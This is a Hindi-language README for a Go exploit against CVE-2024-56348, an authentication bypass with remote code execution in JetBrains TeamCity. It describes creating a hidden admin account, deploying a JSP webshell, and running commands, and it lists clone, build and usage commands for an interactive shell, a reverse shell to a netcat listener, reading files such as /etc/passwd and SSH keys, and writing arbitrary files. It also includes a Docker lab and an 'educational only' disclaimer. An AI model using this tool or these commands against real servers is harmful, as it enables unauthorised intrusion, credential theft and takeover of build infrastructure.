
Go-आधारित एक्सप्लॉइट CVE-2024-56348 के लिए जो JetBrains TeamCity प्रमाणीकरण बायपास और रिमोट कोड निष्पादन को लक्षित करता है। बिना क्रेडेंशियल्स के इंटरैक्टिव शेल, रिवर्स शेल, फ़ाइल पढ़ने/लिखने और एकल कमांड निष्पादन प्रदान करता है।
CVE-2024-56348 JetBrains TeamCity on-premises में एक महत्वपूर्ण प्रमाणीकरण बायपास कमजोरी है, जो 2024.12 से पहले के सभी संस्करणों को प्रभावित करती है। REST API ;.jsp वाले पथों के अनुरोधों को अनुचित तरीके से संभालती है, जिससे एक अप्रमाणित हमलावर पूरी तरह से प्रमाणित होकर किसी भी REST एंडपॉइंट को कॉल कर सकता है।
यह शोषण बायपास को TeamCity के स्वयं के REST API के साथ जोड़ता है ताकि एक SYSTEM_ADMIN खाता बनाया जा सके, एक API टोकन जारी किया जा सके, और पूर्ण रिमोट कोड निष्पादन प्राप्त किया जा सके — या तो अंतर्निहित डिबग एंडपॉइंट के माध्यम से या गतिशील रूप से अपलोड किए गए JSP प्लगइन वेबशेल के माध्यम से। किसी क्रेडेंशियल की आवश्यकता नहीं है।
प्रभावित संस्करण: JetBrains TeamCity on-premises < 2024.12
-command के माध्यम से एकल कमांडgit clone https://github.com/joshuavanderpoll/cve-2024-56348.git
cd CVE-2024-56348
go build -o exp cve-2024-56348.go
go install github.com/joshuavanderpoll/cve-2024-56348@latest
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://127.0.0.1:8111
-t लक्ष्य URL (जैसे http://127.0.0.1:8111)
-command एकल कमांड निष्पादित करें और आउटपुट प्रिंट करें
-shell रिवर्स शेल स्पॉन करें (इसके लिए -lhost और -lport की आवश्यकता है)
-lhost रिवर्स शेल के लिए लिसनर होस्ट
-lport रिवर्स शेल के लिए लिसनर पोर्ट
-read-file रिमोट फ़ाइल पढ़ें और उसकी सामग्री प्रिंट करें
-write-file लिखने के लिए रिमोट पथ (इसके लिए -file-content की आवश्यकता है)
-file-content -write-file का उपयोग करते समय लिखने के लिए सामग्री
कोई एक्शन फ़्लैग नहीं होने पर स्वचालित रूप से इंटरैक्टिव शेल में प्रवेश करता है।
लक्ष्य से कनेक्ट होता है, बायपास की पुष्टि करता है, एक अस्थायी व्यवस्थापक खाता बनाता है, और इंटरैक्टिव शेल में प्रवेश करता है। प्रॉम्प्ट अंतिम कमांड के एग्जिट कोड को हरे (सफलता) या लाल (गैर-शून्य) में दिखाता है।
./cve-2024-56348 -t http://127.0.0.1:8111

एक कमांड चलाता है और stdout, stderr और एग्जिट कोड को अलग-अलग प्रिंट करता है।
./cve-2024-56348 -t http://127.0.0.1:8111 -command "id"

JSP प्लगइन वेबशेल तैनात करता है और आपके लिसनर पर एक रिवर्स शेल ट्रिगर करता है। पहले nc -lvp 4444 शुरू करें।
./cve-2024-56348 -t http://127.0.0.1:8111 -shell -lhost 10.0.0.1 -lport 4444

TeamCity प्रक्रिया द्वारा एक्सेस की जा सकने वाली कोई भी फ़ाइल पढ़ता है — कॉन्फ़िग फ़ाइलों, SSH कुंजियों आदि के लिए उपयोगी।
./cve-2024-56348 -t http://127.0.0.1:8111 -read-file /etc/passwd

रिमोट पथ पर मनमाना सामग्री लिखता है। अतिरिक्त पेलोड डालने या कॉन्फ़िग बदलने के लिए उपयोगी।
./cve-2024-56348 -t http://127.0.0.1:8111 -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"

स्थानीय परीक्षण के लिए एक कमजोर TeamCity इंस्टेंस के साथ एक स्व-निहित Docker Compose वातावरण। अधिक जानकारी के लिए DOCKER.md देखें
cd docker/
docker compose up -d
./cve-2024-56348 -t http://127.0.0.1:8111
यदि स्क्रिप्ट "[-] Plugin upload failed." लौटाती है तो hackindex उपयोगकर्ता से लॉगिन करने का प्रयास करें और पुनः प्रयास करें। (क्रेडेंशियल DOCKER.md में पाए जा सकते हैं)
यह उपकरण केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। निर्माता इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।